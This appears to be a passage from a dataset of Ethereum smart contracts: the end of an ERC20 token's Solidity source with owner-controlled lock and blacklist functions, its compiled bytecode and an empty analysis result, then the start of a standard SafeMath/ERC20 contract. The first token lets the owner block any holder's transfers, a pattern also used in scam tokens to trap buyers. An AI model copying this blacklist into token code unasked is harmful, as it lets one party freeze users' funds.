function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
//ANTI BOT MEASURES
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122006127abe06c56eb82657ff9e79ebe61221fe546ecdb10de9277298a8ec0ac0ea64736f6c63430007060033 | {"success": true, "error": null, "results": {}} | 10,573 |
0xf58c8347872197524255bb73c4130ff17abc2233 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
